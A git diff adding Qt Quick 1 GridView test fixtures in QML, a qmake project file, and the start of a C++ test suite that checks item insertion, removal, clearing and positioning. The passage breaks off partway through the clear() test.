diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview-initCurrent.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview-initCurrent.qml
new file mode 100644
index 00000000..421f810f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview-initCurrent.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+Rectangle {
+ property int current: grid.currentIndex
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ Text {
+ x: 40
+ text: wrapper.x + ", " + wrapper.y
+ }
+ Text {
+ y: 20
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ y: 40
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ]
+ GridView {
+ id: grid
+ objectName: "grid"
+ focus: true
+ width: 240
+ height: 320
+ currentIndex: 35
+ cellWidth: 80
+ cellHeight: 60
+ delegate: myDelegate
+ model: testModel
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview-noCurrent.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview-noCurrent.qml
new file mode 100644
index 00000000..1189649e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview-noCurrent.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+Rectangle {
+ property int current: grid.currentIndex
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ Text {
+ x: 40
+ text: wrapper.x + ", " + wrapper.y
+ }
+ Text {
+ y: 20
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ y: 40
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ]
+ GridView {
+ id: grid
+ objectName: "grid"
+ focus: true
+ width: 240
+ height: 320
+ currentIndex: -1
+ cellWidth: 80
+ cellHeight: 60
+ delegate: myDelegate
+ model: testModel
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
new file mode 100644
index 00000000..a2b0a915
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
@@ -0,0 +1,66 @@
+import QtQuick 1.1
+
+Rectangle {
+ id: root
+ property int count: grid.count
+ property bool showHeader: false
+ property bool showFooter: false
+ property int added: -1
+ property variant removed
+
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ Text {
+ x: 40
+ text: wrapper.x + ", " + wrapper.y
+ }
+ Text {
+ y: 20
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ y: 40
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ GridView.onAdd: root.added = index
+ GridView.onRemove: root.removed = name
+ }
+ },
+ Component {
+ id: headerFooter
+ Rectangle { width: 30; height: 320; color: "blue" }
+ }
+ ]
+ GridView {
+ id: grid
+ objectName: "grid"
+ width: 240
+ height: 320
+ cellWidth: 80
+ cellHeight: 60
+ flow: (testTopToBottom == false) ? GridView.LeftToRight : GridView.TopToBottom
+ layoutDirection: (testRightToLeft == true) ? Qt.RightToLeft : Qt.LeftToRight
+ model: testModel
+ delegate: myDelegate
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview2.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview2.qml
new file mode 100644
index 00000000..7559a7ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview2.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+GridView {
+ anchors.fill: parent
+ width: 320; height: 200
+ cellWidth: 100; cellHeight: 100; cacheBuffer: 200; focus: true
+ keyNavigationWraps: true; highlightFollowsCurrentItem: false
+
+ model: ListModel {
+ id: appModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "blue" }
+ }
+
+ delegate: Item {
+ width: 100; height: 100
+ Rectangle {
+ color: lColor; x: 4; y: 4
+ width: 92; height: 92
+ }
+ }
+
+ highlight: Rectangle { width: 100; height: 100; color: "black" }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview3.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview3.qml
new file mode 100644
index 00000000..ab4ceeb7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview3.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+GridView {
+ anchors.fill: parent
+ width: 320; height: 200
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/header.qml b/tests/auto/declarative/qdeclarativegridview/data/header.qml
new file mode 100644
index 00000000..f39da55d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/header.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+Rectangle {
+ function changeHeader() {
+ grid.header = header2
+ }
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ width: 80
+ height: 60
+ border.color: "blue"
+ Text {
+ text: index
+ }
+ color: GridView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ GridView {
+ id: grid
+ objectName: "grid"
+ width: 240
+ height: 320
+ cellWidth: 80
+ cellHeight: 60
+ model: testModel
+ delegate: myDelegate
+ header: Text { objectName: "header"; text: "Header"; height: 30 }
+ }
+
+ Component {
+ id: header2
+ Text { objectName: "header2"; text: "Header 2"; height: 20 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/manual-highlight.qml b/tests/auto/declarative/qdeclarativegridview/data/manual-highlight.qml
new file mode 100644
index 00000000..d0828479
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/manual-highlight.qml
@@ -0,0 +1,48 @@
+import QtQuick 1.0
+
+Item {
+
+ ListModel {
+ id: model
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ ListElement {
+ name: "Bob Brown"
+ number: "555 5845"
+ }
+ }
+
+ Component {
+ id: highlight
+ Rectangle {
+ objectName: "highlight"
+ width: 80; height: 80
+ color: "lightsteelblue"; radius: 5
+ y: grid.currentItem.y+5
+ x: grid.currentItem.x+5
+ }
+ }
+
+ GridView {
+ id: grid
+ objectName: "grid"
+ anchors.fill: parent
+ model: model
+ delegate: Text { objectName: "wrapper"; text: name; width: 80; height: 80 }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/mirroring.qml b/tests/auto/declarative/qdeclarativegridview/data/mirroring.qml
new file mode 100644
index 00000000..54de16bc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/mirroring.qml
@@ -0,0 +1,43 @@
+// This example demonstrates how item positioning
+// changes in right-to-left layout direction
+
+import QtQuick 1.1
+
+Rectangle {
+ color: "lightgray"
+ width: 340
+ height: 370
+
+ VisualItemModel {
+ id: itemModel
+ objectName: "itemModel"
+ Rectangle {
+ objectName: "item1"
+ height: 110; width: 120; color: "#FFFEF0"
+ Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item2"
+ height: 130; width: 150; color: "#F0FFF7"
+ Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item3"
+ height: 170; width: 190; color: "#F4F0FF"
+ Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ GridView {
+ id: view
+ objectName: "view"
+ cellWidth: 190
+ cellHeight: 170
+ anchors.fill: parent
+ anchors.bottomMargin: 30
+ model: itemModel
+ highlightRangeMode: "StrictlyEnforceRange"
+ flow: GridView.TopToBottom
+ flickDeceleration: 2000
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml
new file mode 100644
index 00000000..10df2342
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml
@@ -0,0 +1,69 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 360; height: 120; color: "white"
+ Component {
+ id: delegate
+ Item {
+ id: wrapper
+ width: 180; height: 40;
+ Column {
+ x: 5; y: 5
+ Text { text: '<b>Name:</b> ' + name }
+ Text { text: '<b>Number:</b> ' + number }
+ }
+ }
+ }
+ Component {
+ id: highlightRed
+ Rectangle {
+ color: "red"
+ radius: 10
+ opacity: 0.5
+ }
+ }
+ GridView {
+ cellWidth:180
+ cellHeight:40
+ objectName: "gridView"
+ anchors.fill: parent
+ model: listModel
+ delegate: delegate
+ highlight: highlightRed
+ focus: true
+ keyNavigationWraps: true
+ cacheBuffer: 10
+ flow: GridView.LeftToRight
+ }
+
+ data:[
+ ListModel {
+ id: listModel
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ },
+ ListModel {
+ objectName: "alternateModel"
+ ListElement {
+ name: "Jack"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Mary"
+ number: "555 3264"
+ }
+ }
+ ]
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml
new file mode 100644
index 00000000..36bf67de
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ Component {
+ id: appDelegate
+
+ Item {
+ id : wrapper
+ function startupFunction() {
+ if (index == 5) view.currentIndex = index;
+ }
+ Component.onCompleted: startupFunction();
+ width: 30; height: 30
+ Text { text: index }
+ }
+ }
+
+ GridView {
+ id: view
+ objectName: "grid"
+ anchors.fill: parent
+ cellWidth: 30; cellHeight: 30
+ model: 35
+ delegate: appDelegate
+ focus: true
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativegridview/qdeclarativegridview.pro b/tests/auto/declarative/qdeclarativegridview/qdeclarativegridview.pro
new file mode 100644
index 00000000..bc196fb5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/qdeclarativegridview.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativegridview.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
new file mode 100644
index 00000000..aa7f116f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
@@ -0,0 +1,2213 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtGui/qstringlistmodel.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/private/qdeclarativeitem_p.h>
+#include <QtDeclarative/private/qlistmodelinterface_p.h>
+#include <QtDeclarative/private/qdeclarativegridview_p.h>
+#include <QtDeclarative/private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativelistmodel_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeGridView : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeGridView();
+
+private slots:
+ void items();
+ void changed();
+ void inserted();
+ void removed();
+ void clear();
+ void moved();
+ void changeFlow();
+ void currentIndex();
+ void noCurrentIndex();
+ void defaultValues();
+ void properties();
+ void propertyChanges();
+ void componentChanges();
+ void modelChanges();
+ void positionViewAtIndex();
+ void positionViewAtIndex_rightToLeft();
+ void mirroring();
+ void snapping();
+ void resetModel();
+ void enforceRange();
+ void enforceRange_rightToLeft();
+ void QTBUG_8456();
+ void manualHighlight();
+ void footer();
+ void header();
+ void indexAt();
+ void onAdd();
+ void onAdd_data();
+ void onRemove();
+ void onRemove_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void contentPosJump();
+
+private:
+ QDeclarativeView *createView();
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &id, int index=-1);
+ template<typename T>
+ QList<T*> findItems(QGraphicsObject *parent, const QString &objectName);
+ void dumpTree(QDeclarativeItem *parent, int depth = 0);
+};
+
+class TestModel : public QAbstractListModel
+{
+public:
+ enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 };
+
+ TestModel(QObject *parent=0) : QAbstractListModel(parent) {
+ QHash<int, QByteArray> roles;
+ roles[Name] = "name";
+ roles[Number] = "number";
+ setRoleNames(roles);
+ }
+
+ int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); }
+ QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const {
+ QVariant rv;
+ if (role == Name)
+ rv = list.at(index.row()).first;
+ else if (role == Number)
+ rv = list.at(index.row()).second;
+
+ return rv;
+ }
+
+ int count() const { return rowCount(); }
+ QString name(int index) const { return list.at(index).first; }
+ QString number(int index) const { return list.at(index).second; }
+
+ void addItem(const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count());
+ list.append(QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void addItems(const QList<QPair<QString, QString> > &items) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+ for (int i=0; i<items.count(); i++)
+ list.append(QPair<QString,QString>(items[i].first, items[i].second));
+ emit endInsertRows();
+ }
+
+ void insertItem(int index, const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), index, index);
+ list.insert(index, QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void removeItem(int index) {
+ emit beginRemoveRows(QModelIndex(), index, index);
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
+ void removeItems(int index, int count) {
+ emit beginRemoveRows(QModelIndex(), index, index+count-1);
+ while (count--)
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
+ void moveItem(int from, int to) {
+ emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
+ list.move(from, to);
+ emit endMoveRows();
+ }
+
+ void modifyItem(int idx, const QString &name, const QString &number) {
+ list[idx] = QPair<QString,QString>(name, number);
+ emit dataChanged(index(idx,0), index(idx,0));
+ }
+
+ void clear() {
+ int count = list.count();
+ emit beginRemoveRows(QModelIndex(), 0, count-1);
+ list.clear();
+ emit endRemoveRows();
+ }
+
+
+private:
+ QList<QPair<QString,QString> > list;
+};
+
+tst_QDeclarativeGridView::tst_QDeclarativeGridView()
+{
+}
+
+void tst_QDeclarativeGridView::items()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Billy", "22345");
+ model.addItem("Sam", "2945");
+ model.addItem("Ben", "04321");
+ model.addItem("Jim", "0780");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(gridview->count(), model.count());
+ QTRY_COMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ // set an empty model and confirm that items are destroyed
+ TestModel model2;
+ ctxt->setContextProperty("testModel", &model2);
+
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QTRY_VERIFY(itemCount == 0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::changed()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Billy", "22345");
+ model.addItem("Sam", "2945");
+ model.addItem("Ben", "04321");
+ model.addItem("Jim", "0780");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeFlickable *gridview = findItem<QDeclarativeFlickable>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.modifyItem(1, "Will", "9876");
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::inserted()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.insertItem(1, "Will", "9876");
+ QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ // Checks that onAdd is called
+ int added = canvas->rootObject()->property("added").toInt();
+ QTRY_COMPARE(added, 1);
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_COMPARE(item->x(), (i%3)*80.0);
+ QTRY_COMPARE(item->y(), (i/3)*60.0);
+ }
+
+ model.insertItem(0, "Foo", "1111"); // zero index, and current item
+
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ QTRY_COMPARE(gridview->currentIndex(), 1);
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ }
+
+ for (int i = model.count(); i < 30; ++i)
+ model.insertItem(i, "Hello", QString::number(i));
+
+ gridview->setContentY(120);
+
+ // Insert item outside visible area
+ model.insertItem(1, "Hello", "1324");
+
+ QTRY_VERIFY(gridview->contentY() == 120);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::removed()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.removeItem(1);
+ QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ // Checks that onRemove is called
+ QString removed = canvas->rootObject()->property("removed").toString();
+ QTRY_COMPARE(removed, QString("Item1"));
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ }
+
+ // Remove first item (which is the current item);
+ model.removeItem(0);
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ }
+
+ // Remove items not visible
+ model.removeItem(25);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ }
+
+ // Remove items before visible
+ gridview->setContentY(120);
+ gridview->setCurrentIndex(10);
+
+ // Setting currentIndex above shouldn't cause view to scroll
+ QTRY_COMPARE(gridview->contentY(), 120.0);
+
+ model.removeItem(1);
+
+ // Confirm items positioned correctly
+ for (int i = 3; i < 15; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.0);
+ QTRY_COMPARE(item->y(), 60+(i/3)*60.0);
+ }
+
+ // Remove currentIndex
+ QDeclarativeItem *oldCurrent = gridview->currentItem();
+ model.removeItem(9);
+
+ QTRY_COMPARE(gridview->currentIndex(), 9);
+ QTRY_VERIFY(gridview->currentItem() != oldCurrent);
+
+ gridview->setContentY(0);
+ // let transitions settle.
+ QTest::qWait(100);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == 60+(i/3)*60);
+ }
+
+ // remove item outside current view.
+ gridview->setCurrentIndex(32);
+ gridview->setContentY(240);
+
+ model.removeItem(30);
+ QTRY_VERIFY(gridview->currentIndex() == 31);
+
+ // remove current item beyond visible items.
+ gridview->setCurrentIndex(20);
+ gridview->setContentY(0);
+ model.removeItem(20);
+
+ QTRY_COMPARE(gridview->currentIndex(), 20);
+ QTRY_VERIFY(gridview->currentItem() != 0);
+
+ // remove item before current, but visible
+ gridview->setCurrentIndex(8);
+ gridview->setContentY(240);
+ oldCurrent = gridview->currentItem();
+ model.removeItem(6);
+
+ QTRY_COMPARE(gridview->currentIndex(), 7);
+ QTRY_VERIFY(gridview->currentItem() == oldCurrent);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::clear()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QVERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ model.clear();
+
+ QVERIFY(gridview->count() == 0);
+ QVERIFY(gridview->currentItem() == 0);
+ QVERIFY(gridview->contentY() == 0);
+ QVERIFY(gridview->currentIndex() == -1);
+
+ // confirm sanity when adding an item to cleared list
+ model.addItem("New", "1");
+ QVERIFY(gridview->count() == 1);
+ QVERIFY(gridview->currentItem() != 0);
